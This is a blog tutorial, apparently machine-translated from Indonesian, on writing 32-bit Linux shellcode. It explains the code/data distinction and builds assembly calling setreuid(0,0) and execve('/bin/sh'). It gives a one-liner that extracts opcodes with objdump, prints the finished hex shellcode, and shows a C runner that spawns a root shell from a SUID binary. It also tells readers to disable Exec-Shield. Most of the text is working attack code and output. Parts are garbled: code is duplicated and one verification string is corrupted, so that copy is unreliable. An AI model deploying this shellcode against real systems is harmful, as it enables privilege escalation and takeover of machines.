Shellcode, Exploits and Vulnerability
Shellcode, exploit and vulnerability are 3 siblings. It all started from the negligence of the programmer so that the program contains a vulnerability that can be exploit to make the program run any desired code hacker (arbitrary code execution), this code is called with the shellcode.
Under normal circumstances, the program follow the instructions made by its creator (programmer). Hackers can create a program to follow his orders and ignoring orders mengexploit creator with a vulnerability caused arbitrary code execution
Why called shellcode? If hackers can make a program execute any code he wants, then the code if it chooses? The best choice is a code that gives her shell so she can give other commands that he would freely. Therefore it is called shell-code code.
When likened misile: exploits are missiles, while the shellcode is the warheads that could be charged with anything like explosives, nuclear, biological weapon or chemical weapon is up to the attacker desires.
Although generally giving the shell shellcode, shellcode does not always give the shell. Attacker is free to determine what code will be executed in the victim's computer. Shellcode can do anything from deleting files, formatting the hard drive, sending the data, install new programs etc is up to the attacker desires.
Arbitrary Code Execution
Arbitrary code execution is a condition in which the attacker can inject arbitrary code / instructions in a process that was running, then code is executed. Code that is injected is called the shellcode. Shellcode is code in the form of machine language or opcode. This opcode is usually not written in a binary value because it will become very long, but use a more compact hex value.
Between the Code and Data
Actually the code is also data whose contents are the computer executable instructions. In memory, internally, the data and code makes no difference because both are just a string of symbols 1 and 0.
Let me give a simple example: Is the value 50 hex or binary 01,010,000 in a memory location that is code or data?
When the 50 hex character is considered as a data type, so it was an ascii code for the letter 'P'.
When considered as a code 50 hex, then it is a PUSH EAX instruction (in 32 bit mode) or PUSH AX (in 16 bit mode).
Likewise with the string "ABCD", can be regarded as data or code, note the example below:
1. $ perl -e 'print "ABCD"'|xxd
2. 0000000: 4142 4344 ABCD
3. $ perl -e 'print "ABCD"'|ndisasm -b 16 -
4. 00000000 41 inc cx
5. 00000001 42 inc dx
6. 00000002 43 inc bx
7. 00000003 44 inc sp
8. $ perl -e 'print "ABCD"'|ndisasm -b 32 -
9. 00000000 41 inc ecx
10. 00000001 42 inc edx
11. 00000002 43 inc ebx
12. 00000003 44 inc esp
In the example above ABCD is internally stored as 0 × 41, 0 × 42, 0 × 43 and 0 × 44, ie the ASCII code of character 'A', 'B', 'C', 'D' (see row 2). But the same data can also be considered as a code 16 bits or 32 bits as in line 4 s / d to-7 for 16-bit code and a line to-9 s / d 12 to 32-bit code.
Now the question is when a data is treated as data and when treated as a code? The answer is when a data designated by the instruction pointer or program counter that normally exist in the EIP register (IP 16-bit system), then the data in that location is the code that will be executed.
Any data residing in memory location whose address is stored in the EIP will be considered as a code.
As a demonstration, a small program below demonstrates that the data could also be regarded as a code when appointed by the EIP.
1. #include
2. char str[] = "ABCHIJK\xc3";
3. int main(void) {
4. printf("%s\n",str); // str as argument of printf()
5. ((void (*)(void))str)(); // str()
6. return 0;
7. }
3. int main(void) {
4. printf("%s\n",str); // str as argument of printf()
5. ((void (*)(void))str)(); // str()
6. return 0;
7. }
$ gcc codedata.c -o codedata
$ ./codedata
ABCHIJKÃ
$ ./codedata
ABCHIJKÃ
There is an interesting little program above, namely the variable containing the string str ABCHIJK plus ASCII coded character 0xc3. On line 4, str variable is used as an argument to the function printf (), in this case means str is considered as data. While on the 5th row, str summoned as a function, in this case considered as code str. Note that str is true of type pointer to char, but can be called like a function because it has been cast to pointer to function with (void (*) (void)).
In the example above we execute existing code in the variable str, it means that we execute code residing in the data area (not area code). Kernel is now applying many of the protections that we can not execute code that is not in a special area of memory for code. In windows environment, known as Data Execution Prevention, and in Linux there is also known as Exec-Shield.
In order for the examples in this article can work, you must turn off the Exec-Shield:
echo "0"> / proc / sys / kernel / exec-shield
Look at pictures below. Such images are the result disassemble with gdb. Seen that the str terletak di lokasi 0 × 8049590. In
Start Making shellcode
Actually the contents of the variable str in the above program is the shellcode, so we've actually managed to make the first shellcode. Congratulations! However shellcode that we make is not doing anything meaningful because it only INC and DEC then ret. But from these examples at least we have understood that the shellcode is nothing but a string, which is a collection of characters that is also a machine language instruction opcode.
Now we will begin to create a truly shellcode Spawn a shell. In a previous article about my learning assembly already explained how to call the system call interrupt 80 hex. Shellcode that we will create and provide instructions to call the system call. Notice the C language source below which if exercised will Spawn shell.
1. #include
2. #include
3. int main(void) {
4. char* args[] = {"/bin/sh",NULL};
5. setreuid(0,0);
6. execve("/bin/sh",args,NULL);
7. }
The program above will only call the system call setreuid () and execve (). Shellcode that we will create will also be doing the same thing as the source above, the difference is only made in the assembly.
System Call setreuid ()
setreuid () is used to set real and effective UserID. System call is very important because programs that have SUID bit, usually to drop root privileges when it is no longer needed. Therefore, we must restore it before Spawn privileged shell. Declaration setreuid system call () is:
int setreuid(uid_t ruid, uid_t euid);
ruid = real user id
euid = effective user id
Berdasarkan deklarasi system call tersebut, maka register yang harus diisi sebelum melakukan interrupt adalah:
EAX: 0×46 atau 70 (Nomor system call dari file unistd.h)
EBX: 0×0 (Parameter pertama, real uid yaitu 0)
ECX: 0×0 (Parameter kedua, effective uid yaitu 0)
Potongan assembly di bawah ini adalah instruksi untuk memanggil system call setreuid(0,0).
1. ; setreuid(0,0)
2. xor eax,eax
3. mov al,0x46 ; EAX = 0x46
4. xor ebx,ebx ; EBX = 0
5. xor ecx,ecx ; ECX = 0
6. int 0x80
System Call execve ()
Execve is a system call to execute an executable. All data, variables, heap, stack, etc. belong to the process that calls execve will be lost and replaced with the new program is executed. However processID, and open file handle (including stdout, stdin, stderr) bequeathed to the new program is executed. Declaration execve system call is as below:
int execve (const char * filename, const char * argv [], char * const envp []);
There are 3 arguments are required, but we will only use the 2 argument. We fill the envp argument to NULL because we do not require environment variable. Based on the declaration system call, the registers that must be filled before calling an interrupt is:
EAX: 0xb or 11 (system call numbers)
EBX: address of string "/ bin / sh"
Ecx: address an array of strings, ("/ bin / sh", NULL)
EDX: 0 because NULL envp filled.
Assembly snippet below calls execve system call to execute / bin / sh.
1. ; execve("/bin/sh",{"/bin/sh",0x0},0x0)
2. xor eax,eax
3. push eax ; push 0x0
4. push 0x68732f2f ; push "//sh"
5. push 0x6e69622f ; push "/bin"
6. mov ebx,esp ; EBX = ESP = "/bin//sh\x0"
7. push eax ; push 0x0
8. push ebx ; push "/bin//sh\x0"
9. mov ecx,esp ; ECX = ESP = {"/bin//sh\x0",0x0}
10. xor edx,edx ; EDX = 0
11. mov al, 0xb ; EAX = 0xb
12. int 0x80
EBX must be filled with address string containing the name of the executable file that will be executed. We use the stack to make the string "/ bin / / sh" as in the picture above. In this way we will get an executable filename string address in register ESP. The contents of the ESP is then copied into the EBX register. Maybe there who think there is a typo in the string, because there is a double slash before "sh". This is not a typing error, but deliberately so when push right mempush 4 bytes ("/ / sh"), and the excess of the slash is not a problem.
Ecx must be filled with an array of strings ("/ bin / / sh", NULL). Once again, we also use the stack and which has been previously EBX register contains the address string "/ bin / / sh". In the picture above we first have to mempush NULL (0 × 0) into the stack as an array element index to-1, followed by mempush address string "/ bin / / sh" from the EBX as elements of the array index to 0. In this way ESP will contain the address of an array of strings ("/ bin / / sh", NULL). ESP value is copied into ecx register.
Shellcode in the Assembly
Let us combine the pieces of the above assembly to form a complete shellcode as in the assembly source code below.
1. section .text
2. global _start
3.
4. _start:
5. ; setreuid(0,0)
6. xor eax,eax
7. mov al,0x46 ; EAX = 0x46
8. xor ebx,ebx ; EBX = 0
9. xor ecx,ecx ; ECX = 0
10. int 0x80
11.
12. ; execve("/bin/sh",{"/bin/sh",0x0},0x0)
13. xor eax,eax
14. push eax ; push 0x0
15. push 0x68732f2f ; push "//sh"
16. push 0x6e69622f ; push "/bin"
17. mov ebx,esp ; EBX = ESP = "/bin//sh\x0"
18. push eax ; push 0x0
19. push ebx ; push "/bin//sh\x0"
20. mov ecx,esp ; ECX = ESP = {"/bin//sh\x0",0x0}
21. xor edx,edx ; EDX = 0
22. mov al, 0xb ; EAX = 0xb
23. int 0x80
Let us compile and link source above assembly.
1. $ nasm -f elf basicshellcode.asm
2. $ ld -o basicshellcode basicshellcode.o
3. $ sudo chown root:root basicshellcode;sudo chmod 4755 basicshellcode
4. Password:
5. $ ls -l basicshellcode
6. -rwsr-xr-x 1 root root 623 Dec 3 14:52 basicshellcode
7. $ ./basicshellcode
8. sh-3.2# whoami
9. root
10. sh-3.2# exit
Converting OBJDUMP Output to Shellcode
successful! Now the finishing stage, which took the opcode of the above program. We use objdump to this.
$ objdump -M intel -d -j .text ./basicshellcode
./basicshellcode: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: b0 46 mov al,0x46
8048064: 31 db xor ebx,ebx
8048066: 31 c9 xor ecx,ecx
8048068: cd 80 int 0x80
804806a: 31 c0 xor eax,eax
804806c: 50 push eax
804806d: 68 2f 2f 73 68 push 0x68732f2f
8048072: 68 2f 62 69 6e push 0x6e69622f
8048077: 89 e3 mov ebx,esp
8048079: 50 push eax
804807a: 53 push ebx
804807b: 89 e1 mov ecx,esp
804807d: 31 d2 xor edx,edx
804807f: b0 0b mov al,0xb
8048081: cd 80 int 0x80
From the objdump output above, we only need to take the opcode in the middle column and then holding a string. To make it easier to take opcode I make the following one line script:
$ objdump -d ./basicshellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
Let us once again with perl verification and ndisasm.
$ perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' |ndisasm -u -
00000000 31C0 xor eax,eax
00000002 B046 mov al,0x46
00000004 31DB xor ebx,ebx
00000006 31C9 xor ecx,ecx
00000008 CD80 int 0x80
0000000A 31C0 xor eax,eax
0000000C 50 push eax
0000000D 682F2F7368 push dword 0x68732f2f
00000012 682F62696E push dword 0x6e69622f
00000017 89E3 mov ebx,esp
00000019 50 push eax
0000001A 53 push ebx
0000001B 89E1 mov ecx,esp
0000001D 31D2 xor edx,edx
0000001F B00B mov al,0xb
00000021 CD80 int 0x80
The result is the same, meaning shellcode to be true. Now we proceed to execute shellcode with C program below:
1. char shellcode[] =
2. "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0"
3. "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
4. "\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
5. int main() {
6. ((void (*)(void))shellcode)(); // shellcode()
7. }
$ gcc shellcode4.c -o shellcode4
$ sudo chown root:root shellcode4; sudo chmod 4755 shellcode4
Password:
$ ls -l ./shellcode4
-rwsr-xr-x 1 root root 4748 Dec 3 16:25 ./shellcode4
$ ./shellcode4
sh-3.2# whoami
root
sh-3.2# exit
Okay, we've managed to safely make the shellcode which resulted in local shell. In Section 2, I will explain to a remote exploit shellcode creation.
df
ReplyDelete